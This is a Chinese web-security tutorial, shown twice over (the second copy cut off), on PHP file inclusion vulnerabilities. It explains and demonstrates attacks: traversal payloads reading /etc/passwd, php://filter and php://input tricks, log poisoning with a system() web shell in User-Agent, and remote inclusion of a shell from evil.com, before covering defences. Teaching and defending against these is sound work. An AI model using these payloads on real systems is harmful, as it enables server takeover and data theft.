1. 从一次“意外”的服务器配置泄露说起几年前我在为一个客户做安全审计的时候遇到过一个非常典型的案例。客户的网站是一个内容管理系统功能看起来一切正常但我在浏览其帮助文档页面时无意间在URL里加了一个“../”结果服务器竟然把网站根目录下的一个配置文件给吐了出来。这个配置文件里明晃晃地写着数据库的连接地址、用户名和密码。那一刻我后背一凉这要是被别有用心的人发现整个网站的数据就相当于“裸奔”了。这个问题的根源就是今天我们要深入探讨的——文件包含漏洞。文件包含漏洞听起来可能有点技术化但它的本质其实很简单一个程序本意是去包含读取并执行某个指定的文件比如一个网页模板、一个配置文件但由于程序逻辑设计或过滤不严攻击者可以操控这个“指定”的过程让程序去包含它本不该包含的文件。这就像你让助手去档案室取“A项目合同”结果助手只听“合同”两个字把隔壁“B项目”的机密合同也一并拿给了你。在Web安全领域这通常意味着攻击者可以读取服务器上的敏感文件如配置文件、源代码甚至在特定条件下直接执行任意代码从而完全控制服务器。这个漏洞之所以危险且常见是因为它往往源于开发人员一个“偷懒”或“图方便”的想法为了代码复用和模块化管理很多Web应用会设计一个“包含中心”比如一个叫index.php的页面根据URL参数?pageabout来决定加载about.php的内容。想法是好的但如果在实现时没有对用户传入的page参数进行严格的检查和过滤灾难就埋下了种子。无论是PHP、JSP还是其他服务端语言只要存在动态包含文件的需求就可能出现这类问题。接下来我们就一层层剥开它的外壳看看它到底是怎么运作的以及我们该如何防御。2. 文件包含漏洞的核心机制与两种类型拆解要理解漏洞必须先理解其正常的工作机制。在Web开发中文件包含主要服务于两个目的代码复用和动态内容加载。例如网站的页头header、页脚footer、导航栏navbar这些在每个页面都相同的部分会被抽离成独立的文件如header.php然后在每个需要它们的页面开头通过一句include(‘header.php’)来引入。这样修改页头时只需改一个文件所有页面都会同步更新极大地提升了开发效率和可维护性。动态内容加载则更灵活。比如一个新闻网站可能有成千上万条新闻但不可能为每条新闻都单独写一个news_12345.php的页面。常见的做法是只有一个news.php文件它根据URL传递的新闻ID参数如?id12345从数据库取出对应内容然后套用同一个模板展示出来。但有些开发者会走更“捷径”的路直接根据参数来包含不同的子页面文件这就为漏洞打开了大门。根据包含行为发生的阶段和特性文件包含漏洞主要分为两类本地文件包含和远程文件包含。这两者的危害范围和利用方式有显著区别。2.1 本地文件包含窥探服务器内部的“眼睛”本地文件包含顾名思义是指被包含的文件来自于服务器本地文件系统。当程序包含文件的路径参数比如$_GET[‘file’]未经充分过滤时攻击者可以通过目录遍历符如../跳出程序设定的目录去读取系统上的任意文件。一个经典的漏洞代码示例如下PHP语言// vulnerable.php $page $_GET[page]; include(/pages/ . $page . .php);开发者的本意是让用户通过?pageabout来访问/pages/about.php。但如果攻击者传入?page../../../etc/passwd拼接后的路径就变成了/pages/../../../etc/passwd.php经过系统路径解析实际上会回溯到根目录下的/etc/passwd文件虽然加了.php后缀可能导致包含失败但很多情况下如果文件内容不是合法PHP代码会直接以文本形式输出其内容。更危险的是如果程序使用include而不是require且PHP配置allow_url_fopenOff时攻击者可以尝试包含非PHP文件。有时即使包含非PHP文件失败错误信息也可能会泄露部分文件内容。LFI的利用方式远不止读取文件读取敏感文件这是最直接的利用。在Linux/Unix系统上可以尝试读取/etc/passwd用户账户信息、/etc/shadow加密的密码哈希需root权限、/proc/self/environ当前进程环境变量可能包含密钥、Web应用的配置文件如config.php、database.ini以及网站的源代码.php、.py等。利用PHP封装协议PHP提供了一些有趣的“包装器”即使allow_url_fopen关闭allow_url_include通常也默认关闭但php://filter这个协议在大多数情况下是可用的。攻击者可以利用它来读取文件源码避免被直接执行。例如?pagephp://filter/convert.base64-encode/resourceconfig.php。这会将config.php文件的内容进行Base64编码后输出攻击者解码即可获得纯净的源代码而不会因为其中包含的?php ... ?标签导致代码被执行。日志文件注入这是一个非常经典的LFI升级为代码执行的手法。如果攻击者能控制写入到服务器日志文件中的内容例如通过User-Agent头部、访问路径中包含PHP代码他就可以先“污染”日志文件如/var/log/apache2/access.log然后利用LFI漏洞去包含这个已经被写入PHP代码的日志文件。由于是被include()函数包含日志文件中的PHP代码就会被服务器执行。利用临时文件/会话文件在某些场景下如果攻击者能预测或部分控制服务器上某个临时文件的名称和内容例如通过文件上传功能上传一个图片马但不知道路径或者通过其他注入点向SESSION文件写入代码再结合LFI就有可能执行代码。注意利用日志文件或临时文件进行注入时对文件内容格式有要求。原始的PHP代码如果夹杂在大量的HTTP日志文本中可能会因为包含非PHP标签的字符而导致执行失败。因此攻击者通常会精心构造请求确保写入的PHP代码前后没有破坏语法结构的杂散字符。2.2 远程文件包含从“窥探”到“遥控”的质变远程文件包含的危害性比LFI大一个数量级。当PHP配置中allow_url_fopen和allow_url_include设置为On时现代PHP版本默认已关闭allow_url_includeinclude和require函数不仅可以包含本地文件还可以通过HTTP、FTP等协议包含远程服务器上的文件。漏洞代码可能看起来和LFI类似// vulnerable2.php $module $_GET[module]; include($module . /controller.php);如果攻击者控制module参数为http://evil.com/那么最终尝试包含的路径就是http://evil.com//controller.php注意双斜杠可能出错。更常见的是直接包含一个完整的远程URL?modulehttp://evil.com/shell.txt。这里shell.txt的内容是一段PHP代码如?php system($_GET[‘cmd’]);?。当服务器执行到这行include(‘http://evil.com/shell.txt’)时它会去请求这个URL获取其内容并将其作为PHP代码执行。这意味着攻击者可以在自己的服务器上托管恶意代码然后通过RFI漏洞让目标服务器去下载并执行它从而瞬间获得一个WebShell实现对服务器的完全控制。RFI的利用条件较为苛刻需要特定的PHP配置因此在现代Web环境中已不常见但一旦存在就是极其严重的高危漏洞。它标志着漏洞从“信息泄露”升级为“远程代码执行”是攻击者梦寐以求的。3. 漏洞的深度挖掘不常见的利用路径与技巧除了上面提到的经典LFI/RFI在实际的渗透测试和漏洞挖掘中我们还会遇到一些变种和需要技巧的利用场景。这些地方往往是自动化扫描工具容易忽略但手工测试能发现“宝藏”的所在。3.1 后缀截断与空字节注入这是一种主要存在于旧版本PHPPHP 5.3.4之前中的技巧。观察这段代码$file $_GET[file]; include($file . .html);开发者强制为用户输入添加了.html后缀试图限制只能包含HTML文件。在旧版PHP中如果攻击者传入?file../../../etc/passwd%00这里的%00是空字符NULL的URL编码。在C语言风格字符串处理中空字符是字符串的终止符。旧版PHP在处理路径时遇到%00会认为字符串到此结束因此$file . ‘.html’实际拼接出的字符串是../../../etc/passwd\0.html但系统在读取文件时遇到\0就停止了最终成功包含/etc/passwd而.html被忽略。这就是空字节注入攻击。不过在PHP 5.3.4及以后版本此漏洞已被修复%00不再具有截断功能但了解它对于审计历史遗留系统仍有意义。另一种是超长文件名截断依赖于操作系统的文件路径长度限制如Windows的260字符限制旧Linux文件系统4096字节限制等通过构造超长字符串使后缀被丢弃但这在现代Web环境中利用成功率很低。3.2 利用PHP内置协议进行信息泄露即使不能执行代码利用PHP内置的包装器进行信息泄露也极具价值。php://filter是我们最好的朋友之一。它的基本利用格式是php://filter/read过滤器链/resource目标文件。读取源码php://filter/convert.base64-encode/resourceindex.php。这是最常用的方式将源码以Base64形式输出完美绕过include执行代码的问题直接获取源代码。多重过滤过滤器可以串联。例如你想读取一个被压缩过的文件或者先进行某种字符转换。虽然不常用但体现了该协议的灵活性。php://input协议这个协议允许你读取POST请求的原始主体数据。如果allow_url_include开启且存在include($_GET[‘file’])那么攻击者可以发送一个POST请求?filephp://input并在请求体Body中直接写入?php phpinfo();?这段代码就会被执行。这是RFI的另一种形式但依赖allow_url_include。3.3 环境限制下的迂回攻击日志污染与PHP Session文件包含在严格的生产环境中RFI通常被禁用目录遍历也可能被部分过滤。这时就需要更迂回的战术。日志文件包含攻击的步骤非常经典定位日志路径首先需要知道Web服务器如Apache, Nginx访问日志的绝对路径。常见路径有/var/log/apache2/access.log/var/log/nginx/access.log/var/log/httpd/access_log等。可以通过LFU读取已知文件如/proc/self/environ或错误信息来推测或者使用一些默认路径尝试。污染日志然后我们需要将PHP代码写入这个日志文件。由于日志会记录HTTP请求的许多部分我们可以通过User-Agent头部注入。例如GET /vulnerable.php?filetest HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[‘c’]); ?这样?php system($_GET[‘c’]); ?这行代码就会被记录到访问日志的某一行中。注意日志文件通常包含很多其他字符时间戳、IP、请求行等所以我们的PHP代码必须能够容忍前后有杂音。使用?php ... ?短标签并确保代码在一行内完成是较好的选择。也可以使用/**/注释符来包裹注入的代码避免前后字符干扰。包含日志最后利用LFI漏洞去包含这个日志文件?file../../../var/log/apache2/access.logcid。如果一切顺利服务器会执行日志中的PHP代码参数c的值id会传递给system()函数从而执行系统命令并返回结果。PHP Session文件包含是另一种思路。PHP默认会将Session数据存储在服务器临时目录的文件中如/tmp/sess_[sessionid]。文件名中的[sessionid]通常通过Cookie中的PHPSESSID传递。如果攻击者能知道或预测Session文件的存储路径和名称并且能向Session中写入数据可能通过网站的其他功能如个人信息修改、表单提交等这些数据会被序列化后存入Session文件那么他就可以尝试写入PHP代码然后通过LFI包含自己的Session文件来执行代码。难点在于需要知道Session的存储路径可通过phpinfo()或默认路径猜测和文件名需要获取有效的Session ID。4. 实战演练手动挖掘与验证文件包含漏洞了解了原理我们还需要一套方法论来指导实战。盲目测试效率低下系统化的测试能提高发现漏洞的概率。4.1 漏洞点的发现与识别首先要找到可能存在文件包含功能的地方。参数名特征关注URL参数、POST参数、Cookie中可能包含以下关键词的参数file,page,path,folder,lang,template,theme,module,include,load,document,pdf等。这些名字强烈暗示了后端可能在进行文件操作。动态页面加载观察网站结构。如果整个网站不同页面如about, contact, news都使用同一个URL模式如index.php?pagexxx且页面布局相同只有内容区变化这很可能使用了文件包含。文件下载/查看功能任何提供文件下载或预览的功能如download.php?filereport.pdf如果后端直接使用参数拼接文件路径也可能存在包含漏洞虽然本意是读取文件内容输出但若使用了include就可能造成代码执行。4.2 手工测试Payload构造发现可疑参数后就要开始测试。测试要循序渐进从无害探测到危险利用。第一步基础探测与过滤识别相对路径测试尝试包含一个已知存在的Web目录下的文件。例如假设网站根目录有robots.txt尝试?filerobots.txt。如果正常显示说明包含功能存在。目录遍历测试尝试使用../。?file../../../../etc/passwd。如果返回了/etc/passwd的内容说明存在LFI且过滤不严。如果返回错误或空白可能被过滤。协议处理器测试尝试使用php://filter。?filephp://filter/convert.base64-encode/resourceindex.php。如果返回一串Base64编码解码后是index.php的源码说明该协议可用且漏洞存在至少能读源码。第二步绕过常见过滤开发者不会坐以待毙他们会设置一些过滤规则。我们需要测试并尝试绕过。过滤../尝试双重编码..%252f%25是%的编码服务器可能只解码一次将%252f变成%2f即/从而绕过对../的字符串匹配。也可以尝试....//有些简单的过滤只替换一次../替换后变成....//-../。强制添加后缀如果代码像include($file . ‘.php’)我们传入?file../../etc/passwd%00仅限旧PHP或?filephp://filter/resource../../etc/passwd利用filter协议它后面拼接的.php会被当作过滤器参数的一部分可能无效化。还可以尝试利用路径长度截断现代环境已很难。白名单限制如果程序只允许包含home.php,about.php等几个固定文件可以尝试?filehome如果白名单检查是if in_array($file, [‘home’, ‘about’])。但如果白名单检查的是完整文件名则绕过难度极大通常需要结合其他漏洞如目录穿越到可写目录再包含。第三步尝试代码执行在确认LFI存在后尝试升级到代码执行。测试日志路径使用常见的Web服务器日志路径进行包含尝试。同时通过Burp Suite等工具在请求中修改User-Agent为?php echo ‘test’;?然后再次包含日志文件观察是否输出了test。测试PHP输入流发送POST请求URL为?filephp://input请求体为?php phpinfo();?。观察是否输出了phpinfo页面。检查环境信息如果包含/proc/self/environ成功里面可能包含USER_AGENT、REFERER等HTTP头这些是用户可控的。可以尝试修改这些请求头注入代码然后包含环境变量文件来执行。4.3 利用工具辅助测试手工测试是基础但结合工具能提升效率。一些常用的工具和资源包括Burp Suite渗透测试瑞士军刀。它的Intruder模块可以用于对参数进行Fuzz测试加载包含大量目录遍历、协议Payload的字典进行自动化探测。Repeater模块用于手动构造和发送精心设计的Payload。Fuzz字典准备好高质量的字典文件至关重要。字典应包含常见的敏感文件路径Linux/Windows。各种目录遍历Payload../,..\, 编码变种。PHP包装器协议Payload。常见的日志文件路径。Session文件路径模式。PHP本地测试环境自己搭建一个带有漏洞的PHP环境进行练习是理解漏洞和测试Payload最安全有效的方式。5. 从根源到实践防御文件包含漏洞的完整方案知道了怎么攻击才能更好地防御。防御文件包含漏洞需要从开发规范、代码实现、服务器配置等多个层面建立纵深防御体系。5.1 开发层面的“白名单”原则这是最有效、最根本的防御方法。绝对避免动态包含如果可能尽量不要使用用户输入直接参与文件包含的路径拼接。使用固定的路由映射或前端控制器模式。使用白名单如果必须动态包含请建立明确的、有限的白名单。将允许包含的文件名不带路径映射到具体的文件路径。// 正确的做法白名单映射 $allowed_pages [ ‘home’ ‘./templates/home.php’, ‘about’ ‘./templates/about.php’, ‘contact’ ‘./templates/contact.php’, ]; $page $_GET[‘page’]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(‘./templates/error.php’); // 或直接die(‘Invalid page’); }这样用户只能访问home,about,contact这三个页面任何其他输入都会被拒绝。严格限制路径如果业务复杂必须允许一定程度的动态性也要将用户输入严格限制在某个安全目录内。使用basename()函数去除路径信息确保只获取文件名。然后与安全的基础目录进行拼接。$base_dir ‘/var/www/html/app/templates/’; $file basename($_GET[‘template’]); // 移除所有 ‘/’ 和 ‘..’ $path $base_dir . $file; // 可选再次检查 $path 是否仍在 $base_dir 目录下 if (strpos(realpath($path), $base_dir) 0) { include($path); } else { die(‘Access denied.’); }5.2 代码层面的过滤与验证输入验证对所有用户输入进行严格的类型和格式检查。如果期望是字母数字就用正则表达式preg_match(‘/^[a-zA-Z0-9_]$/’, $input)进行校验。避免使用危险函数include,require,include_once,require_once这些是导致漏洞的函数。在代码审计时要重点关注它们。尽量使用file_get_contents()来读取静态文件内容非PHP代码或者使用模板引擎。关闭危险特性在php.ini中确保以下配置处于安全状态allow_url_fopen Off allow_url_include Off将allow_url_include设置为Off可以彻底杜绝RFI漏洞。这是生产环境必须要做的配置。5.3 服务器与运维层面的加固最小权限原则运行Web服务的系统用户如www-data,nginx应该拥有尽可能小的权限。将其限制在Web根目录及其必要子目录下使其无法读取/etc/passwd、/etc/shadow等系统关键文件。可以通过操作系统的文件权限和SELinux/AppArmor等安全模块来实现。更改日志路径和权限将Web服务器的访问日志、错误日志移动到Web服务用户无法访问的目录或者设置严格的只读权限防止日志文件被包含。设置PHP的open_basedir在php.ini或虚拟主机配置中使用open_basedir指令将PHP脚本可以访问的文件限制在指定的目录树中。例如open_basedir /var/www/html/:/tmp/。这样即使存在LFI脚本也无法跳出这个范围去读取/etc/passwd。注意open_basedir不是万能的历史上存在一些绕过方法应将其作为纵深防御的一环而非唯一手段。定期更新与安全审计保持PHP、Web服务器Apache/Nginx及所有应用框架、库的最新版本及时修补已知漏洞。定期对代码进行安全审计特别是涉及文件操作、命令执行、数据库查询的部分。5.4 安全开发流程的融入将安全作为软件开发生命周期的一部分。安全编码培训让开发人员了解文件包含漏洞的原理、危害及编写安全代码的方法。代码审计在代码提交前或发布前进行人工或自动化的代码安全审计。可以使用静态代码分析工具来扫描潜在的漏洞点。渗透测试定期聘请专业的安全团队或使用自动化工具对线上系统进行渗透测试主动发现包括文件包含在内的各类安全漏洞。文件包含漏洞的防御是一个系统工程从一行代码的编写到服务器的配置再到整个开发流程的管理都需要注入安全思维。对于开发者而言牢记“一切用户输入皆不可信”采用白名单机制就能从源头堵住绝大多数此类漏洞。对于运维人员收紧服务器配置遵循最小权限原则能为系统增加一道坚固的防线。安全从来不是一劳永逸的事情而是需要持续关注和实践的旅程。在我自己的项目里每次看到include或require都会条件反射般地检查它的参数是否可控这已经成了一种职业习惯。也许最有效的防御就是把这种“条件反射”变成每个开发者的肌肉记忆。 文件包含漏洞深度解析：从原理到防御的Web安全实战
1. 从一次“意外”的服务器配置泄露说起几年前我在为一个客户做安全审计的时候遇到过一个非常典型的案例。客户的网站是一个内容管理系统功能看起来一切正常但我在浏览其帮助文档页面时无意间在URL里加了一个“../”结果服务器竟然把网站根目录下的一个配置文件给吐了出来。这个配置文件里明晃晃地写着数据库的连接地址、用户名和密码。那一刻我后背一凉这要是被别有用心的人发现整个网站的数据就相当于“裸奔”了。这个问题的根源就是今天我们要深入探讨的——文件包含漏洞。文件包含漏洞听起来可能有点技术化但它的本质其实很简单一个程序本意是去包含读取并执行某个指定的文件比如一个网页模板、一个配置文件但由于程序逻辑设计或过滤不严攻击者可以操控这个“指定”的过程让程序去包含它本不该包含的文件。这就像你让助手去档案室取“A项目合同”结果助手只听“合同”两个字把隔壁“B项目”的机密合同也一并拿给了你。在Web安全领域这通常意味着攻击者可以读取服务器上的敏感文件如配置文件、源代码甚至在特定条件下直接执行任意代码从而完全控制服务器。这个漏洞之所以危险且常见是因为它往往源于开发人员一个“偷懒”或“图方便”的想法为了代码复用和模块化管理很多Web应用会设计一个“包含中心”比如一个叫index.php的页面根据URL参数?pageabout来决定加载about.php的内容。想法是好的但如果在实现时没有对用户传入的page参数进行严格的检查和过滤灾难就埋下了种子。无论是PHP、JSP还是其他服务端语言只要存在动态包含文件的需求就可能出现这类问题。接下来我们就一层层剥开它的外壳看看它到底是怎么运作的以及我们该如何防御。2. 文件包含漏洞的核心机制与两种类型拆解要理解漏洞必须先理解其正常的工作机制。在Web开发中文件包含主要服务于两个目的代码复用和动态内容加载。例如网站的页头header、页脚footer、导航栏navbar这些在每个页面都相同的部分会被抽离成独立的文件如header.php然后在每个需要它们的页面开头通过一句include(‘header.php’)来引入。这样修改页头时只需改一个文件所有页面都会同步更新极大地提升了开发效率和可维护性。动态内容加载则更灵活。比如一个新闻网站可能有成千上万条新闻但不可能为每条新闻都单独写一个news_12345.php的页面。常见的做法是只有一个news.php文件它根据URL传递的新闻ID参数如?id12345从数据库取出对应内容然后套用同一个模板展示出来。但有些开发者会走更“捷径”的路直接根据参数来包含不同的子页面文件这就为漏洞打开了大门。根据包含行为发生的阶段和特性文件包含漏洞主要分为两类本地文件包含和远程文件包含。这两者的危害范围和利用方式有显著区别。2.1 本地文件包含窥探服务器内部的“眼睛”本地文件包含顾名思义是指被包含的文件来自于服务器本地文件系统。当程序包含文件的路径参数比如$_GET[‘file’]未经充分过滤时攻击者可以通过目录遍历符如../跳出程序设定的目录去读取系统上的任意文件。一个经典的漏洞代码示例如下PHP语言// vulnerable.php $page $_GET[page]; include(/pages/ . $page . .php);开发者的本意是让用户通过?pageabout来访问/pages/about.php。但如果攻击者传入?page../../../etc/passwd拼接后的路径就变成了/pages/../../../etc/passwd.php经过系统路径解析实际上会回溯到根目录下的/etc/passwd文件虽然加了.php后缀可能导致包含失败但很多情况下如果文件内容不是合法PHP代码会直接以文本形式输出其内容。更危险的是如果程序使用include而不是require且PHP配置allow_url_fopenOff时攻击者可以尝试包含非PHP文件。有时即使包含非PHP文件失败错误信息也可能会泄露部分文件内容。LFI的利用方式远不止读取文件读取敏感文件这是最直接的利用。在Linux/Unix系统上可以尝试读取/etc/passwd用户账户信息、/etc/shadow加密的密码哈希需root权限、/proc/self/environ当前进程环境变量可能包含密钥、Web应用的配置文件如config.php、database.ini以及网站的源代码.php、.py等。利用PHP封装协议PHP提供了一些有趣的“包装器”即使allow_url_fopen关闭allow_url_include通常也默认关闭但php://filter这个协议在大多数情况下是可用的。攻击者可以利用它来读取文件源码避免被直接执行。例如?pagephp://filter/convert.base64-encode/resourceconfig.php。这会将config.php文件的内容进行Base64编码后输出攻击者解码即可获得纯净的源代码而不会因为其中包含的?php ... ?标签导致代码被执行。日志文件注入这是一个非常经典的LFI升级为代码执行的手法。如果攻击者能控制写入到服务器日志文件中的内容例如通过User-Agent头部、访问路径中包含PHP代码他就可以先“污染”日志文件如/var/log/apache2/access.log然后利用LFI漏洞去包含这个已经被写入PHP代码的日志文件。由于是被include()函数包含日志文件中的PHP代码就会被服务器执行。利用临时文件/会话文件在某些场景下如果攻击者能预测或部分控制服务器上某个临时文件的名称和内容例如通过文件上传功能上传一个图片马但不知道路径或者通过其他注入点向SESSION文件写入代码再结合LFI就有可能执行代码。注意利用日志文件或临时文件进行注入时对文件内容格式有要求。原始的PHP代码如果夹杂在大量的HTTP日志文本中可能会因为包含非PHP标签的字符而导致执行失败。因此攻击者通常会精心构造请求确保写入的PHP代码前后没有破坏语法结构的杂散字符。2.2 远程文件包含从“窥探”到“遥控”的质变远程文件包含的危害性比LFI大一个数量级。当PHP配置中allow_url_fopen和allow_url_include设置为On时现代PHP版本默认已关闭allow_url_includeinclude和require函数不仅可以包含本地文件还可以通过HTTP、FTP等协议包含远程服务器上的文件。漏洞代码可能看起来和LFI类似// vulnerable2.php $module $_GET[module]; include($module . /controller.php);如果攻击者控制module参数为http://evil.com/那么最终尝试包含的路径就是http://evil.com//controller.php注意双斜杠可能出错。更常见的是直接包含一个完整的远程URL?modulehttp://evil.com/shell.txt。这里shell.txt的内容是一段PHP代码如?php system($_GET[‘cmd’]);?。当服务器执行到这行include(‘http://evil.com/shell.txt’)时它会去请求这个URL获取其内容并将其作为PHP代码执行。这意味着攻击者可以在自己的服务器上托管恶意代码然后通过RFI漏洞让目标服务器去下载并执行它从而瞬间获得一个WebShell实现对服务器的完全控制。RFI的利用条件较为苛刻需要特定的PHP配置因此在现代Web环境中已不常见但一旦存在就是极其严重的高危漏洞。它标志着漏洞从“信息泄露”升级为“远程代码执行”是攻击者梦寐以求的。3. 漏洞的深度挖掘不常见的利用路径与技巧除了上面提到的经典LFI/RFI在实际的渗透测试和漏洞挖掘中我们还会遇到一些变种和需要技巧的利用场景。这些地方往往是自动化扫描工具容易忽略但手工测试能发现“宝藏”的所在。3.1 后缀截断与空字节注入这是一种主要存在于旧版本PHPPHP 5.3.4之前中的技巧。观察这段代码$file $_GET[file]; include($file . .html);开发者强制为用户输入添加了.html后缀试图限制只能包含HTML文件。在旧版PHP中如果攻击者传入?file../../../etc/passwd%00这里的%00是空字符NULL的URL编码。在C语言风格字符串处理中空字符是字符串的终止符。旧版PHP在处理路径时遇到%00会认为字符串到此结束因此$file . ‘.html’实际拼接出的字符串是../../../etc/passwd\0.html但系统在读取文件时遇到\0就停止了最终成功包含/etc/passwd而.html被忽略。这就是空字节注入攻击。不过在PHP 5.3.4及以后版本此漏洞已被修复%00不再具有截断功能但了解它对于审计历史遗留系统仍有意义。另一种是超长文件名截断依赖于操作系统的文件路径长度限制如Windows的260字符限制旧Linux文件系统4096字节限制等通过构造超长字符串使后缀被丢弃但这在现代Web环境中利用成功率很低。3.2 利用PHP内置协议进行信息泄露即使不能执行代码利用PHP内置的包装器进行信息泄露也极具价值。php://filter是我们最好的朋友之一。它的基本利用格式是php://filter/read过滤器链/resource目标文件。读取源码php://filter/convert.base64-encode/resourceindex.php。这是最常用的方式将源码以Base64形式输出完美绕过include执行代码的问题直接获取源代码。多重过滤过滤器可以串联。例如你想读取一个被压缩过的文件或者先进行某种字符转换。虽然不常用但体现了该协议的灵活性。php://input协议这个协议允许你读取POST请求的原始主体数据。如果allow_url_include开启且存在include($_GET[‘file’])那么攻击者可以发送一个POST请求?filephp://input并在请求体Body中直接写入?php phpinfo();?这段代码就会被执行。这是RFI的另一种形式但依赖allow_url_include。3.3 环境限制下的迂回攻击日志污染与PHP Session文件包含在严格的生产环境中RFI通常被禁用目录遍历也可能被部分过滤。这时就需要更迂回的战术。日志文件包含攻击的步骤非常经典定位日志路径首先需要知道Web服务器如Apache, Nginx访问日志的绝对路径。常见路径有/var/log/apache2/access.log/var/log/nginx/access.log/var/log/httpd/access_log等。可以通过LFU读取已知文件如/proc/self/environ或错误信息来推测或者使用一些默认路径尝试。污染日志然后我们需要将PHP代码写入这个日志文件。由于日志会记录HTTP请求的许多部分我们可以通过User-Agent头部注入。例如GET /vulnerable.php?filetest HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[‘c’]); ?这样?php system($_GET[‘c’]); ?这行代码就会被记录到访问日志的某一行中。注意日志文件通常包含很多其他字符时间戳、IP、请求行等所以我们的PHP代码必须能够容忍前后有杂音。使用?php ... ?短标签并确保代码在一行内完成是较好的选择。也可以使用/**/注释符来包裹注入的代码避免前后字符干扰。包含日志最后利用LFI漏洞去包含这个日志文件?file../../../var/log/apache2/access.logcid。如果一切顺利服务器会执行日志中的PHP代码参数c的值id会传递给system()函数从而执行系统命令并返回结果。PHP Session文件包含是另一种思路。PHP默认会将Session数据存储在服务器临时目录的文件中如/tmp/sess_[sessionid]。文件名中的[sessionid]通常通过Cookie中的PHPSESSID传递。如果攻击者能知道或预测Session文件的存储路径和名称并且能向Session中写入数据可能通过网站的其他功能如个人信息修改、表单提交等这些数据会被序列化后存入Session文件那么他就可以尝试写入PHP代码然后通过LFI包含自己的Session文件来执行代码。难点在于需要知道Session的存储路径可通过phpinfo()或默认路径猜测和文件名需要获取有效的Session ID。4. 实战演练手动挖掘与验证文件包含漏洞了解了原理我们还需要一套方法论来指导实战。盲目测试效率低下系统化的测试能提高发现漏洞的概率。4.1 漏洞点的发现与识别首先要找到可能存在文件包含功能的地方。参数名特征关注URL参数、POST参数、Cookie中可能包含以下关键词的参数file,page,path,folder,lang,template,theme,module,include,load,document,pdf等。这些名字强烈暗示了后端可能在进行文件操作。动态页面加载观察网站结构。如果整个网站不同页面如about, contact, news都使用同一个URL模式如index.php?pagexxx且页面布局相同只有内容区变化这很可能使用了文件包含。文件下载/查看功能任何提供文件下载或预览的功能如download.php?filereport.pdf如果后端直接使用参数拼接文件路径也可能存在包含漏洞虽然本意是读取文件内容输出但若使用了include就可能造成代码执行。4.2 手工测试Payload构造发现可疑参数后就要开始测试。测试要循序渐进从无害探测到危险利用。第一步基础探测与过滤识别相对路径测试尝试包含一个已知存在的Web目录下的文件。例如假设网站根目录有robots.txt尝试?filerobots.txt。如果正常显示说明包含功能存在。目录遍历测试尝试使用../。?file../../../../etc/passwd。如果返回了/etc/passwd的内容说明存在LFI且过滤不严。如果返回错误或空白可能被过滤。协议处理器测试尝试使用php://filter。?filephp://filter/convert.base64-encode/resourceindex.php。如果返回一串Base64编码解码后是index.php的源码说明该协议可用且漏洞存在至少能读源码。第二步绕过常见过滤开发者不会坐以待毙他们会设置一些过滤规则。我们需要测试并尝试绕过。过滤../尝试双重编码..%252f%25是%的编码服务器可能只解码一次将%252f变成%2f即/从而绕过对../的字符串匹配。也可以尝试....//有些简单的过滤只替换一次../替换后变成....//-../。强制添加后缀如果代码像include($file . ‘.php’)我们传入?file../../etc/passwd%00仅限旧PHP或?filephp://filter/resource../../etc/passwd利用filter协议它后面拼接的.php会被当作过滤器参数的一部分可能无效化。还可以尝试利用路径长度截断现代环境已很难。白名单限制如果程序只允许包含home.php,about.php等几个固定文件可以尝试?filehome如果白名单检查是if in_array($file, [‘home’, ‘about’])。但如果白名单检查的是完整文件名则绕过难度极大通常需要结合其他漏洞如目录穿越到可写目录再包含。第三步尝试代码执行在确认LFI存在后尝试升级到代码执行。测试日志路径使用常见的Web服务器日志路径进行包含尝试。同时通过Burp Suite等工具在请求中修改User-Agent为?php echo ‘test’;?然后再次包含日志文件观察是否输出了test。测试PHP输入流发送POST请求URL为?filephp://input请求体为?php phpinfo();?。观察是否输出了phpinfo页面。检查环境信息如果包含/proc/self/environ成功里面可能包含USER_AGENT、REFERER等HTTP头这些是用户可控的。可以尝试修改这些请求头注入代码然后包含环境变量文件来执行。4.3 利用工具辅助测试手工测试是基础但结合工具能提升效率。一些常用的工具和资源包括Burp Suite渗透测试瑞士军刀。它的Intruder模块可以用于对参数进行Fuzz测试加载包含大量目录遍历、协议Payload的字典进行自动化探测。Repeater模块用于手动构造和发送精心设计的Payload。Fuzz字典准备好高质量的字典文件至关重要。字典应包含常见的敏感文件路径Linux/Windows。各种目录遍历Payload../,..\, 编码变种。PHP包装器协议Payload。常见的日志文件路径。Session文件路径模式。PHP本地测试环境自己搭建一个带有漏洞的PHP环境进行练习是理解漏洞和测试Payload最安全有效的方式。5. 从根源到实践防御文件包含漏洞的完整方案知道了怎么攻击才能更好地防御。防御文件包含漏洞需要从开发规范、代码实现、服务器配置等多个层面建立纵深防御体系。5.1 开发层面的“白名单”原则这是最有效、最根本的防御方法。绝对避免动态包含如果可能尽量不要使用用户输入直接参与文件包含的路径拼接。使用固定的路由映射或前端控制器模式。使用白名单如果必须动态包含请建立明确的、有限的白名单。将允许包含的文件名不带路径映射到具体的文件路径。// 正确的做法白名单映射 $allowed_pages [ ‘home’ ‘./templates/home.php’, ‘about’ ‘./templates/about.php’, ‘contact’ ‘./templates/contact.php’, ]; $page $_GET[‘page’]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(‘./templates/error.php’); // 或直接die(‘Invalid page’); }这样用户只能访问home,about,contact这三个页面任何其他输入都会被拒绝。严格限制路径如果业务复杂必须允许一定程度的动态性也要将用户输入严格限制在某个安全目录内。使用basename()函数去除路径信息确保只获取文件名。然后与安全的基础目录进行拼接。$base_dir ‘/var/www/html/app/templates/’; $file basename($_GET[‘template’]); // 移除所有 ‘/’ 和 ‘..’ $path $base_dir . $file; // 可选再次检查 $path 是否仍在 $base_dir 目录下 if (strpos(realpath($path), $base_dir) 0) { include($path); } else { die(‘Access denied.’); }5.2 代码层面的过滤与验证输入验证对所有用户输入进行严格的类型和格式检查。如果期望是字母数字就用正则表达式preg_match(‘/^[a-zA-Z0-9_]$/’, $input)进行校验。避免使用危险函数include,require,include_once,require_once这些是导致漏洞的函数。在代码审计时要重点关注它们。尽量使用file_get_contents()来读取静态文件内容非PHP代码或者使用模板引擎。关闭危险特性在php.ini中确保以下配置处于安全状态allow_url_fopen Off allow_url_include Off将allow_url_include设置为Off可以彻底杜绝RFI漏洞。这是生产环境必须要做的配置。5.3 